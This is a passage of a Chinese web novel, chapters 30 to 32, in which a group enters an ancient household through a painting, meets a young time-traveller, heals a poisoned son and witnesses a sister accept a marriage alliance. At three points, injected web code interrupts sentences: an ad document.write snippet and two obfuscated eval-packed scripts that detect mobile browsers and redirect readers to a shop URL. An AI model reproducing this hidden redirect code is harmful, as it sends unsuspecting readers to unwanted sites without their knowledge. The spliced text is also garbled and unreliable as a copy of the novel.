“回来以后,吃不进去也喝不进去,这才几天,人就成这样了。”看着丈夫,达玛的眼睛也变得灰暗无光。 姜泠手里不知什么时候多出一根又长又细的银针,银针扎在祖巴左手的中指尖上,冒出浅红的血珠。 “中毒是黑色的,这种算什么?”凌岓看着那几滴浅色的血,稀奇得很。 “不是中毒。”姜泠看了看达玛,欲言又止。 “兰家在什么地方?我们得先去兰家看看,只有在兰家才能找到救他的药引子。” “兰家,兰家也在芝则,不过得到镇上去。”达玛抹了一把眼泪,“我现在就带你们去。” “阿妈,你去哪里?”方才那个拍篮球的小男孩一把抱住达玛的腿,有些不安。 “阿妈出去一趟,很快就回来了。” 兰家小院虽然在芝则主城区边上,周围的设施却都很齐全:超市、学校、诊所、饭店……样样都有。这个小区里都是联排小独栋,兰家就在一进小区的第二排。 众人刚进小区门,迎面就碰见带着央拉走出来的沈径霜。这下,双方都觉得巧合。 “沈医生,你怎么在这儿?”曾宇惊道。 “我来收药的那家人住在这里。”沈径霜挥了挥自己空空的双手,“可惜他家今天不知道为什么没人,明明前几天都联系好了的。” 姜泠听到这里,眼皮一跳,“收药的那家人姓什么?” “姓兰,兰花的兰。”看见对面几人的表情,沈径霜也反应过来,“你们也是来找他们的?” “要不怎么说我们有缘呢。”卫斯诚笑道。 到了兰家门口,达玛熟练地把钥匙塞进大门的锁孔中,“就是这里了。” “沈医生,您 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 要跟我们一起吗?”凌岓发现央拉哈欠连天,无意让这两人也掺合进来。 “这个大姐是你们的朋友吗?”沈径霜看向达玛。 “是的,算是朋友。”曾宇好心回答。 “那劳烦大姐帮我照顾一会儿央拉,我还是得进去看看他家里有没有草药。按理来说,药应该已经备好了的。” “大姐,您先回家吧。”姜泠踏进门的一只脚又抽回来,“您放心,我们会想办法救您丈夫的。” “你们几个把这个含在嘴里。”说完,她又分别递给另外四人一颗糖丸,“别咽下去,压在舌头底下含着。” 现在是下午,阳光正刺眼的时候。兰家每个房间都装着巨大的落地窗,按理来说,不该像现在这样阴冷。 正如达玛说的那样,兰家并不像主人外出旅游的样子——厨房里的电饭煲中放着半锅已经馊了的米饭;洗衣机里的衣服似乎也还没来得及晾晒;屋内的所有东西都整整齐齐地摆放在各自的位置上,看起来也不像进了贼。 几个人分头在不同的房间里寻找可疑的痕迹和线索,没多久就发现了端倪。 厨房地上有一只打碎的碗,碗里的油已经沁住了。巧的是,茶几边也有一个摔在地上的茶杯,杯子里的茶水流出来,在瓷砖上流下黄褐色的水渍。书房里没有掉下什么东西,只是书桌下面剩了一只拖鞋。 “感觉像被入室盗窃了,可又没有丢什么东西。”曾宇使劲抓了抓头皮,“为什么会这样?” “我感觉,他们好像是同时遇到了什么事情。”凌岓汇总着各个房间的情况,“如果真的是小偷,那不应该是这样的痕迹。” “怎么说?”曾宇没太听明白。 “就是说如果真的有小偷进来,第一个人有可能打碎了碗或者打翻了杯子,但其他人听到动静之后肯定会放下手头的东西出来看。可是,你看他家,好像每个房间里的人同时发现了异常一样,手头的事情都只做了一半…”卫斯诚按照自己的理解解释,还不忘问上一句,“你是这意思吗哥?” 凌岓点点头,“除非对方团伙作案,同时突入。” 姜泠一直听着众人的分析默不作声,此时她不知道发现了什么,突然站起身走向客厅的角落。 “这是香灰吗?”沈径霜伸长脖子看了看角落里的东西。 客厅的角落放着一个很小很小的香炉,不仔细看根本看不到。香炉周围盖着一层薄薄的灰色,看起来像是从香炉中洒落的香灰。 “是香灰。”姜泠用指尖沾了点地上的灰,凑在鼻尖轻轻闻了闻,“但不是一般的香。” “那是什么香?”曾宇凑过来使劲嗅了嗅,什么都没嗅到。 “生犀角和…和人的骨头。” “这么恶心?!”曾宇迅速退回原来坐的地方,“谁的骨头?” “不好说。”姜泠把香炉放回原处,又趴在地上从电视柜后面扒出来一个长方形的物件。 “这是什么?”卫斯诚问。 “这东西看起来怎么那么像伯母说的长匣子?”凌岓从白皙的手里接过这个长方形物件,仔细看了看。 “打开看看不就知道了。”沈径霜提议。 姜泠把沾着星点锈迹的长钥匙塞进匣子上挂的铜锁中——果然能打开。 匣子是檀木制成的,打开盖子的瞬间,众人隐约还能闻到一点淡淡的檀香味。一支一模一样的鎏金錾花钿头钗静静躺在匣子里,那副传说中的古画却不翼而飞了。 “画呢?”曾宇意识到问题的严重性,“我们大老远跑过来可不就是为了这幅画吗?画不见了我们怎么交差?” “别吵吵,再找找。”卫斯诚把匣子合住,又四下寻摸了一圈,还是没找到画的踪影。 “我知道怎么能找到那副画了。”姜泠突然开口。 接着,她从角落的香炉里取出半块还没烧完的香,面向众人道,“把这炉香重新点起来,我们或许就能知道画的下落。” “我来吧。”凌岓顺手从曾宇裤兜里摸出一个打火机,把香炉放在客厅正中的茶几上,又将剩下的半块香也点燃了。 30. 第三十章 画中天地 火星一明一灭蚕食着剩下的半块香,香气缭绕间,酒柜慢慢移动到一旁,露出墙面中的画卷。 卷轴上散发着淡淡的茉莉香,和墙角香炉中的味道混在一起,还有些好闻。姜泠想把画卷从墙中取出来,手还没碰到画,她就和同行的众人被一股巨大的吸力一起吸进墙中。 再醒来时,客厅、香炉、都已不见了,摆在众人眼前的,是一座古宅。宅子的牌匾上写着两个笔力遒劲的字——沈府。 “沈府。” 沈府前来来往往的人不似现代打扮,有人穿着粗布短衫,也有人穿着锦缎华服;路过的男人们大多戴着幞头,女人们则多盘着发髻。目光所及之处没有高楼大厦,多是挑着担子的摊贩在沿街叫卖。青灰的牌坊上写着人看不懂的草书,不多的几座宅邸从外表看上去和沈府也大差不差。 见此情景,众人大约明白怎么回事了——他们好像穿越了。 一匹高头大马在沈府门前停下,身披盔甲的中年人急急走进府门。凌岓下意识跟进去,这才发现这里的人看不到他们。 “我们这算穿越了还是算嘎了?”曾宇没从门口进来,他是穿墙而入的,这种不为人发觉又不受限制的穿行本领带给他的震撼不亚于穿越的事实。 没人回答曾宇的问题,比起可以穿墙而过,其他人还是更热衷于听听府内人的谈话。 “二小姐最近好像好些了。”两个穿着粗布衣裳的年轻女孩匆匆穿过花园,说话的这个左手拎着一个食盒,右手抱着一个药罐, “是啊,近些天老爷夫人笑得都多了呢!”另一个答话的则抱着个木盆。 “老规矩,两两一组,先搜集信息。”凌岓想也不想就拉着姜泠跟在了那两个姑娘后面,留下另外三人面面相觑。 抱着药罐的女孩走了很久,最后穿过半月拱门,来到一个十分安静的小院。院子里种着许多茉莉花,花香扑鼻,让来人的心也跟着静了下来。 “二小姐,是喝药的时辰了。”药罐被放在花丛前的凉亭石桌上,原本抱着它的人正轻声细语地朝屋子里喊。 “吱呀”一声,屋门从里面打开了。一个穿着素色褙子的姑娘从屋内走了出来。她柳眉弯弯,一双杏眼含情脉脉,很有古典美人的韵味。只是她太瘦弱了,只从门口到凉亭这几步路的距离,她便走得摇摇欲坠,还时不时掩面咳嗽几声。 “今儿喝药的时辰又提前了。”这位小姐将瓷碗中的汤药一饮而尽,脸上难掩倦色。 “没提前。”小丫鬟把瓷碗和药罐端到一旁,又另从食盒中拿出一碟蜜饯,“是您睡得久了些。” “春柳,这蜜饯味道怎么不对?”弱不禁风的人只咬了一口,就把蜜饯放回了碟子里。 “原先南街的那家糕点铺子关门了,现在成胭脂铺了。”小丫鬟又换上一碟果子,脸上露出期待,“蜜饯的味道是差了些,您再尝尝这家的果子吧。” “算了,不吃了。”坐在凉亭里的人将新摆上来的碟子懒懒一推,“又不是只苦这一天,吃这些还没有听你讲故事有趣。” 小丫鬟原本看见满满一碟果子被拒绝时还有些沮丧,现在一听到要她讲故事,眼睛顿时亮了起来。 “东街张记米铺的掌柜跟他隔壁的卖油郎打起来了,说是因为张掌柜的女儿要和那卖油郎私奔。” “听说喜瑞轩的东家下大狱了,好像是因为他卖的胭脂水粉里掺了假货。” …… 春柳喋喋不休地说了许多,对面的人却只是百无聊赖地拨弄着一朵被风吹落的茉莉。 “对了二小姐,京中最近最火的一出戏是渡三春。夫人说讲的是世家小姐和朝中武将共御外侮的故事,您要是觉着有点意思,何不叫老爷夫人把戏班子请回来看看。” 听到这里,这位小姐才微微打起点精神,又问了一句,“还有什么别的吗?” “戏就没有了。不过西城门最近倒是看得很紧,老是把人拦在城门口不让进出。”春柳叹了口气,“外面人都说这世道要变了,可我看再变也变不到哪去,还不都得数着时辰一日一日过。” 闲聊之后,春柳先把自家小姐扶回房间躺下,这才又抱着药罐和食盒走出小院。 “这个沈府看起来也是大户人家,怎么他家小姐的闺房这么压抑。”二人跟着进到了外屋中,凌岓四下扫了一圈,对身边人说,“这么大的屋子里就两扇小窗户,连本书都没有,真不知道这里的人平时得多无聊。” 正说着,里屋的人便蹑手蹑脚地出来了。她将门拉开一道缝,确认外头没人后,一闪身溜了出去。 从现代过来的人跟着沈府二小姐走了好一段时间,许是他们在这个世界里只是隐身遁形的旁观者之由,二人一点儿没觉得累。沈府二小姐不同,她一张小脸早已经走得煞白,直到一座酒楼门口才停下。 “二小姐,您来啦。”店小二把白色汗巾往肩后一甩,伸手指向楼上,“那位还在老地方等着您呢。” “总该不会是西厢记里的戏码吧。”凌岓在脑子里翻遍了陪何女士看过的所有古装电视剧,鸡皮疙瘩掉了一地。 “别那么狭隘。”姜泠不动声色跟在后面,“说不定只是见朋友呢。” “那也是。不过见朋友用不着这么鬼鬼祟祟啊…” 这座酒楼的一楼专门招待来往散客,二楼则是一个个挂着名牌的包间。沈府二小姐轻车熟路地拐到二楼最里面的“听雨阁”,敲了三下门,两长一短,听到里面传出一句“请进”,这才推门入内。 另外两人照常想要跟进去,结果走在前的凌岓实打实撞上了包间的门,身后的姜泠也就及时刹住了脚步。 “这像不像逃生游戏?” “什么?”凌岓揉了揉自己的额头,没听清身边人说了些什么,“什么游戏?” “逃生游戏。就是那种要找到所有证据揭开谜底才能有生路的游戏。不太关键的地方随便进,到了关键的地方就不能随便进了。”姜泠敲了敲门,里面的人并未作出反应,“先前的沈府不是太重要,所以我们能随便进,这里比较重要,我们就吃了闭门羹。” “你说得很有道理诶。”凌岓看向身边的人,不自觉就挂上了笑,“那我们现在?” “听墙角呗。反正其他人还是看不到我们的。” 古代的窗户门扇没什么隔音可言,两人贴在门口,把里面人说的话听了个七七八八。 “你最近怎么又瘦了。”屋内的一个人说。 “哪儿瘦了,最近都好很多了。”说这句话的是沈府二小姐,她的声音听起来没有在沈府时那么有气无力了,“快给我看看,这次又带了什么好东西?” “呐,这次有两本。一本是《镜花缘》,写的是主人公乘船游历时的故事。还有一本是这个,《狂人日记》,我上学时候的必读书目。” “这名字听着就很有意思,‘狂人’,怎么个狂法?”沈府二小姐问。 “这个得你自己看了才知道。”另一人故作神秘,“反正这本书在我们那时候是非常了不起的书。这可是我们历史上第一篇白话文小说。” “什么叫白话文?”沈府二小姐托着下巴,满眼不解。 “白话文就是……” 里面的人你一言我一语聊得兴起,外面两人却听得匪夷所思。 “看来这个沈二小姐见的人也是穿越来的。”凌岓咂了咂嘴,“穿越是可以批发的吗?” “未必。”姜泠半靠在墙上,“你觉不觉得和沈二小姐见面的这个人声音有点耳熟?” “我也发现了,但就是想不起来是谁。”凌岓说完,又凑到门前继续听。 “青素,下次来的时候我看看能不能给你拿点我们那儿的药,我们那边的药比你们这时候的有效多了。” “拿不拿都无妨,多给我带点书才最好。”沈青素笑得灿烂,眉眼都舒展开了。 “原来她叫沈青素。”听到这个名字,姜泠若有所思。 再回到沈府时,卫斯诚、沈径霜和曾宇已经在一进门的花园里坐着了。 “下次分组的时候能不能民主一点?”看见凌岓走过来,卫斯诚立马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13894221|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表示抗议。 “你们发现什么了?”凌岓对这种抗议置若罔闻,径直越过抗议者问后面的两个人。 “这个沈老爷来头不小,他居然是太子太傅。”曾宇率先开口,一脸震惊。 “我们之前看到的穿铠甲的人好像是个武官,他们在商量什么成婚的事情。”沈径霜又补充了一点,“他们家好像有四个孩子,不知道是哪一个要结婚,我们还没弄清楚。” “要结婚的是他们家大女儿。”卫斯诚嘴里叼了根狗尾巴草,从石阶上跳下来道,“沈家有两个女儿和两个儿子。大女儿马上要结婚了,二女儿和大儿子是龙凤胎。只不过老二身体不太好,按照沈大人的说法就是‘久居闺中,不愿见人’。最后一个儿子七岁,性格活泼。” “完了?”卫斯诚的声音戛然而止,凌岓还以为他没说完。 “完了。” “他们说的身体不太好的老二就是沈青素。” 姜泠把茉莉小院和酒楼的事情对三人和盘托出,最后还不忘给出重点,“沈青素就是我们的突破口,我们得先知道和她见面的是什么人?那个人怎么过来的?顺着这条线我们才有机会找到回去的办法。” “姐你等等,你说沈二小姐叫什么?沈青素?”卫斯诚神色怪异,不知在想什么。 “嗯,沈青素。”姜泠听出了师弟语气中的异常,“怎么,你听说过她?” “我要是说我在梦里见过一位青素,你们信吗?”想起密室那晚的梦,卫斯诚一脸迟疑地看向姜、凌二人,“当然,那个梦里你俩也在。” “梦里见过?”凌岓也吃了一惊,旋即问道,“你梦里的人长什么样?” “小脸圆眼睛,个子中等,不算太瘦。”卫斯诚努力回忆着梦里的场景,“梦里面她还穿着一身粉裙子。” “那应该不是她。”凌岓摇摇头,“沈家这位青素小姐瘦得就剩皮包骨了,穿衣风格也很朴素,和你梦里的形象不符。” 卫斯诚听闻此言,长长舒了口气,心里暗自庆幸着梦没成真。 “人是会变的。”姜泠这句话又给刚放松下来的人浇下一盆兜头冷水,“到底是不是,得你自己真正看见了才能确定。” 太阳西沉,树影婆娑,沈青素在两个丫鬟的跟随下来到正厅后面的膳堂。沈大人和沈夫人已经早早在桌前坐着了,丫鬟小厮们站在身后备好了各样器具,只差人没来齐。 待到沈家大女儿和小弟坐定之后,一道一道色泽鲜亮又冒着香气的菜便铺满了雕花木桌。 “看着是挺好吃的。”折腾了好几天,看见这么一桌子菜,卫斯诚也下意识摸了摸肚子。 “看清楚了吗?”凌岓对食物不感兴趣,“她是你梦里的人吗?” “眉眼有点像,但感觉不是她。我梦里那个青素姑娘精神头比这姑娘好多了。” “你梦里,我们在干什么?除了那位青素姑娘,你还梦见别人了吗?”姜泠接着问,“我们三个人在你梦里要只是盯着一个姑娘看,什么都不干,那也有些离奇了。” “就只有一个人。”卫斯诚犹豫了犹豫,把看见母亲的事情瞒了下来,“我们看着她荡秋千来着,本来要问两句的,还没问呢我就醒了。” 闻言,姜泠轻笑了一声,也不知信是不信,信了多少。 沈家人这顿饭吃得很安静——大女儿沈听玉自始至终不说话,头都不曾抬起来几次;沈夫人看着大女儿几度欲言又止,却还是没有打破饭桌上的沉默;沈青素对身边人的小动作置之不理,一门心思只在自己面前的碗中;就连最小的沈济都不如以往那般活泼,兴致缺缺地扒拉着碟子里的一只鸭腿。一桌人中,只有沈大人神色如常,既没有露出有话难说的表情,也没有装作无事发生的样子。 膳后,沈青素和沈济漱了口,向父母恭恭敬敬作揖告退。沈听玉也想走,却被父亲从身后叫住了,“玉儿且慢,为父有话要跟你说。” 听到这话,不止沈听玉,已经走到门口的沈青素也是脚下一顿,微微侧目看了眼长姐,眼里是说不出来的担忧。 31. 第三十一章 箭伤 入夜,新月爬上墙头。墙头下荒草覆盖的狗洞中,正有一个奋力往外钻的人影。 “二小姐,万一要是被老爷发现了可怎么好啊!”春柳嘴上这么说,手却老老实实伸出来拉了一把洞里的人。 “别怕,不会被发现的。”沈青素好不容易钻出来,又把咳嗽压下去,安抚着不安的春柳道,“要是被发现了,你就都推到我身上。” 两个姑娘蹑手蹑脚地往城东走,跟在她们后面的后世人宛如鬼魅般悄无声息。 凌岓本以为沈青素要去的还是白天的酒楼,七绕八绕到地方了才发现这是一个最平常不过的小户人家。 门前的铜环被扣响,还是两长一短,看来约见的对象并没有变。大门打开一道缝,刚够两个姑娘闪进去,姜泠二人跟进去,也只能和春柳一样止步于院中。 “我爹今天什么都没说,可是大姐成亲的事情都已经快满城皆知了。” “别急别急,你知道大姐要和谁成亲吗?”听声音,果然是白天酒楼中的另一个女人。 “不知道呀。我爹不说,谁都不清楚。”说话的人快急得冒烟了,“有人说是韩将军家的长子,也有人说是杨尚书家的公子…说什么的都有,可看我爹那样子,只怕哪个都不是。” “我这次来,就是想让你帮我给姑姑递封信过去。爹不说,姑姑一定知道是谁。”沈青素把贴身带着的信笺塞到面前人手里,隐约带着一丝哭腔,“我真怕爹会不声不响地把大姐送走,若真如此,以后恐怕就再也见不到她了。” “你放心,我也回去打听打听,一有消息我就来通知你。” 谈话简短,沈青素很快就离开了这个院子。姜、凌二人只慢了几步的时间,屋里那人便走出来了。 “来都来了,不坐坐就走岂不是显得我很小气?”那人的声音从背后响起——这话正是说给他们听的。 “您,能看见我们?”凌岓硬着头皮转身,结果被眼前的人惊得说不出话来。,“伯…伯母?” 凌岓认得没错,此刻站在月下与他们二人对视的,正是明樾。和在卫家见到的人不同,现在的明樾留着齐耳短发,穿着短衫和高腰束脚裤,脸上还带着些婴儿肥。 “伯母?”垂手而立的人皱起眉头,“谁是你伯母?我从没见过你们。” “不是伯母,他叫错了。”姜泠从没想过自己竟然还能有帮别人圆场的时候,“您是明樾女士吗?” “不错,是我。”年轻的明樾挑眉,“看你们的装扮,应该和我是同一个地方来的吧?” “是,或许不是同一个年份,但应该是同一个年代。”姜泠对答如流。 “进来说话。”明樾听后,转身做了个“请”的手势。 “被画吸引进来的?”屋内,明樾不可思议地听完了来自两位同时代年轻人的讲述,“还是我让你们去找的那副画?” “那你们看到画里画了什么吗?” “没有。”凌岓一摊手,“碰都没碰到呢,我们就集体到这儿来了。” “您呢?”姜泠已经说完了他们的遭遇,现在反过来问明樾,“您好像知道怎么能来去自如地在两个世界里穿梭。” “我也不太确定,但应该是我爸带回来的香的原因。”明樾也不隐瞒,把自己的经历说给二人听。 “我爸爸很喜欢在旧市场淘点老玩意儿,去年我生日的时候,他送给我一个很香很香的大疙瘩块。有一次看书看累了,我就顺手点着玩儿,然后就感觉很困,再醒过来就发现我躺在青素家里。” “但奇怪的是,除了青素和听玉姐姐,其他人都看不到我。”明樾看着面前的一男一女,“看样子除了我,谁都看不到你们。” “的确如此。那您知道怎么回去吗?”凌岓追问,“您能从我们那个世界给沈青素带书,那也肯定知道回去的方法。” “你们怎么知道我给青素送书?”明樾反问,眼里尽是拷问。 “我们……” “我们想找到回去的路,沈青素是我们的突破口。我们跟着她的时候遇到了您,所以知道您送了书给她。”姜泠直言不讳。 “你还怪诚实的。”明樾笑了。 “因为觉得您会理解我们。” “可我也帮不了你们。”明樾叹了口气,十分惋惜地看向二人,“我爸爸送给我的香每次只能燃半个小时,半个小时时间一到,我就会自动回到现实中。至于来,只要把香点着了就行。” “还有十分钟,我就要走了。”明樾抬手看了看表,“等我回去查查资料吧,查清楚了我再来告诉你们怎么办。” “您能帮我们联系一个人吗?”凌岓努力搜索着脑子里的记忆,“如果这个电话能打通的话,那边的人可能会知道怎么办。” “你说吧,我记着。” 姜泠听完那串数字,心里有了个大概的猜测。但时间紧急,她还有别的事要跟明樾说,因此先把要问凌岓的问题放在一边。 “阿…明女士,您儿子也在这里,您要和他见一面吗?” “儿子?”明樾笑出了声,“小妹妹,我还没结婚呢!哪儿来的儿子。” “她没骗您,真是您儿子。”凌岓帮着解释,“我们是从您之后的几十年过来的,在我们的年代里,您儿子和我们一样大。” 明樾愣了愣,又看了眼表,“时间差不多了,我该走了。至于我那个没见过的儿子,下次来了再看吧。” “对了,你们别告诉他见到过我。别吓着我未来的儿子。”最后这句话说完,明樾就像卷起的风一样消失了。 算着时间也不算很晚,可白天热热闹闹的大街上此刻一个人都没有。 “看来真有宵禁。”凌岓踢着一颗小石子,乐在其中。 “你刚刚给阿姨的电话,是洪钟家的吗?”姜泠走在他身后问。 “是,就是老洪家的座机电话。”凌岓转过来看向身后人,一边倒着走,“上次去他家的时候看他还留着座机,随口问了一句,他说那是他爸妈和老师还在的时候安的,他舍不得拆。我就顺便记了一下号码,以防万一以后找不着他。” “你还挺会未雨绸缪的。”姜泠绽开一抹很温柔的笑,“可现在的洪钟还是个小孩儿呢,他能知道什么?” “只能寄希望于他师父或者他爸妈知道些什么吧。”凌岓自然而然地停下脚步,直到和姜泠并肩,“我们也应该相信伯母,她看起来还是挺靠谱的。” 一路闲聊,二人都没觉得过了多久就走到了沈府门口。姜泠刚迈进去一只脚,便和急匆匆跑来的沈径霜撞了个满怀。 “你总算回来了。”沈径霜喘了口气,指向后屋,“快去看看吧,沈三回来了,受了挺重的伤,他们家现在已经乱成一锅粥了。” 一行人匆匆赶到后屋门口,只见丫鬟仆从进进出出,手里无不抱着带血的东西。屋内烛火摇曳,沈夫人不住地用手帕抹泪。 “沈大人,拖得太久了,只怕是……”坐在床边的太医无可奈何地摇了摇头,最终还是把这句话说完整了,“只怕是不好了。能熬多久,全看造化。” “这怎么回事儿?”凌岓看着床上衣领敞开的男子,还没理清头绪。 “这是沈青素那个同胞弟弟,沈隽舟。”尽管房子里的人都听不到他说话,卫斯诚还是尽量把声音压低,生怕惊扰了伤者。 “不知道他去干嘛了,反正他们说,他在回京路上遇到了刺客暗杀。你看见他胸口的血洞了没?那就是倒钩箭射的,拔出来的时候血淋淋的。” “箭头上有毒。”凌岓仔细看着血洞,又看了看伤者的面色,“你看他流出来的血,黢黑。” “要不老头儿说看造化呢。”卫斯诚也觉得可惜,床上躺着的人可能还没他大,现在却要受到这种折磨。 “要是放到现在,应该不会这么难治。”沈径霜叹了口气,医者仁心,早在听太医说“全看造化”时,她就已经难过不已。 “你跟我来。”姜泠把凌岓拽到一边,递给他什么东西。接过东西的人下意识伸开手一看,是那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13923723|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条银色的小蛇。 “你快去那个院子里等阿姨。沈隽舟受了这么重的伤,沈青素十有八九要去找她求助。见到阿姨之后,你务必让她把这条蛇交给沈青素,告诉她,只要把蛇放在伤处,就能清除毒素。” “我知道了。”凌岓回头看了一眼沈隽舟,又问,“来得及吗?看他这样子,真要是撑不住了,可能也就一时半刻的事情。” “我有办法。你快去找阿姨。” “姐,你能有什么办法?”听到二人的对话,卫斯诚眼前一亮。 “办法是有。你忘了?骨医能通阴阳。”姜泠面上浮了一层难色,“难的是,怎么把屋子里这些人引开。他们现在都围在这儿,做什么都不方便。” “要引开他们啊。”卫斯诚闻言,若有所思地拉过曾宇和沈径霜,“我们去扮鬼吧。” “你脑子进水了?”曾宇莫名其妙。 “你不是说我们能给这儿的东西施加作用力嘛。”卫斯诚绞尽脑汁解释,“我姐能救他,但是要把屋子里这些人引开,你说怎么办?” 想到无意中碰倒的水桶,曾宇恍然大悟,“那我们现在干什么?把这屋里的蜡烛全吹灭?” “那也太小儿科了。”卫斯诚神秘兮兮地指了指后屋旁边的柴房,“我去把那儿点了,你和沈医生把蜡烛吹了。看着点时间,五分钟以后吹啊。” “啊?”沈径霜还没弄清楚自己要做什么,就看见分配任务的人奔出门去了。 “姜姑娘,要不要拦着他点?”曾宇拍了拍脑门。 “他有分寸,再说现在拦也来不及了。”姜泠听着屋里的动静,蓄势待发。 五分钟一到,后屋刹那间黑了下来。屋内众人先是不明就里静了两秒,随后挤作一团,喊什么的都有。 “走水了!走水了!”不知是谁高呼了一声,引得屋内众人纷纷奔向屋外。 姜泠听着这些人的动静,闪身凑近了沈隽舟的床榻。她从腰间抽出师父的弯刀,对准自己的左手腕,狠狠割了一刀。血液滚落到榻上人的伤口中,半个拳头大的血洞立时便小了许多,沈隽舟一直止不住的血现在也凝固住了。 正如姜泠说的那样,卫斯诚很有分寸。柴房的火不到一刻钟就被扑灭了,后屋的蜡烛也又重新亮了起来。 太医回到床前再看伤口,连连称奇,“三公子吉人自有天相呐!” “姜姑娘,厉害啊!”曾宇毫不犹豫地竖起大拇指。 沈径霜默不作声——她看见姜泠把左手悄悄背到身后,也看到了那只手腕上的伤。 等到曾宇和卫斯诚溜进偏房休息时,沈径霜手里拿着一只瓷瓶和一方白布走近姜泠。 “虽然他们听不见我们说话,也看不见我们,但好在我们能碰到这里的东西。”瓷瓶被放在案牍上,刚才拿着它的人则轻轻拉过另一人还渗着血的左手。 “治病归治病,也用不着对自己这么狠。”沈径霜把瓷瓶里的药粉倒在了面前的伤口上,又小心翼翼地缠上一圈白布,心疼不已,“来了这儿以后,能免得了挨饿,怎么就免不了受伤。” “没事。”姜泠宽慰她,“又不是很疼。” 后屋侧面的偏房是沈家人招呼客人用的,鉴于最近没什么人来拜访,就成了几个后世来客的栖息地。大约到了后半夜的时候,凌岓回来了,进门见剩下三个人都迷迷瞪瞪睡着,便小声知会姜泠,“都按你说的办好了,如果快的话,说不定今天早上就能有好消息。” 姜泠点点头,这才放下心来。刚刚眯了一会儿,就又听见前面隐约传来抽抽嗒嗒的哭泣声,她坐起来,打算去看看情况。 “你也听到了?”走出偏房,凌岓的声音跟着从后面响起。 “嗯,听着像沈听玉的声音。他们家人该看的都看了,要是为了沈隽舟,早该哭过了。这个时候哭,应该是为了别的事情。” “我也是这么想的。”凌岓看着浓浓的夜色,心里还不忘感慨古代没有光污染这件事,“去看看,说不定和她结婚有关系。” 32. 第三十二章 替嫁 沈听玉住着的院子离后屋不远,院门上写着“菡萏馆”三个字。走进院中,一池子开得正好的荷花正在夜风中曳动,是名副其实的“菡萏馆”。 方才的哭泣声已经止住了,沈听玉此时正坐在屋子前的台阶上,散发赤脚,脸上还挂着尚未干涸的泪痕。她木呆呆地往面前摆着的火盆里不断送着写满字的纸张,熊熊烈焰燃烧着,火舌转眼间就将纸页卷为灰烬。 “姐姐。”沈青素悄无声息地站在门口,眼中同样湿漉漉的。 “你怎么来了?”听见妹妹的声音,沈听玉下意识用袖子揉了揉眼睛。 “外头都在传姐姐要成亲了。”沈青素也不管地上凉,自顾自和台阶上的人并排坐在一起,“爹娘到现在还什么都没说呢。” “爹,爹和娘有他们的苦衷。”沈听玉轻轻抚过妹妹的头发,算是默认了近日来的传言属实,“素素不必担心,爹娘又不是要把姐姐送到狼窝里去,别哭。” “姐夫,是谁?”沈青素不欲拐弯抹角,憋在心里的问题便脱口而出。。 沈青素不信沈听玉也不知道会嫁到谁家,现在姐姐的回应更是佐证了她的想法。 “素素,莫问那么多了。”披散着头发的姑娘把手里最后一沓纸扔进火盆,“你只要记得,爹娘也有不得已的苦衷,怪只怪你我生不逢时。” “除了姐姐,京里还在盛传安阳公主要被送去和亲了。”沈青素一字一句地说,“当今官家有三个皇子两个公主,长公主早已嫁为人妇多年,剩下的安阳公主去岁就得了痨病,怎么还能去和亲?” 沈听玉神色黯淡,不再言语。 “爹曾是太子太傅,官家对我沈家向来器重。除了官家,爹娘还有什么苦衷?被送去和亲的人如果不是安阳公主,那会是谁?” “素素,不可妄议朝政。”沈听玉时至今日才发现,自己这个小妹平日里看上去大门不出二门不迈,可实际上心思却玲珑剔透得很。 “姐姐,你就是那个“安阳公主”是不是?” “素素,不可…” “我只问是或不是?” “是。”沈听玉在眼前人的追问中败下阵来,老老实实承认。 “怪不得。”沈青素露出一个苦笑,“怪不得爹娘怎么都不肯说姐姐夫家是谁。” “官家原先并不肯答应和亲的,只是我朝早已不是年富力强的时候了。当下,国库空虚,岁币买和也未必能填饱大开口的狮子。” “官家也是万般无奈才应下这门亲事。可谁成想,安阳公主几个月前又受了风寒,痨病非但没好,反而更严重了。就在上个月,安阳公主薨了,和亲的日子近在眼前,官家这才想到了爹爹。” “姐姐…”沈青素听完,百感交集,“姐姐非但不怨、不怪,反而还替官家和爹娘说话。” “素素,你知道从前先生教书时,姐姐最喜欢哪句诗吗?”沈听玉站起来,望着天上的一轮明月,“愿得此身长报国,何须生入玉门关。”[1] “爹爹常说女子不必不如男。你我虽不能像韩老将军那样上阵与敌军厮杀,可对国家的拳拳之心总是不会差的。” “今夜,提前流过眼泪,一哭这些年来,边疆死伤无数的边民将士;二哭为了这多灾多难的国家;三哭,则是哭自己,哭我此去,有生之年怕是再不能回朝回家了。我亦已将从前那些诗词书画都焚尽了,免得家人见到难免伤心。” 火盆里的火渐渐熄灭,却还能感觉到一丝余温。沈听玉握住妹妹的手,“隽舟如今受了伤,小济尚且不懂事,家中二老均已过了知天命的年岁——素素,姐姐不在,你要照顾好自己,也要代姐姐照顾好家里。” 说罢,沈听玉又从脖子上摘下来一个银锁挂在妹妹颈上,“但愿和亲真的能换来一时和平,也但愿国力强盛,不必再受外侮钳制。” 沈青素握紧姐姐的手,重重点了点头。 待到姐妹俩说完这一番话,天已蒙蒙亮。沈青素忘了自己最后是拖着怎样的步子回去的,她只记得再回头时,姐姐变得坚定无畏,那个眼神,她记了一生。 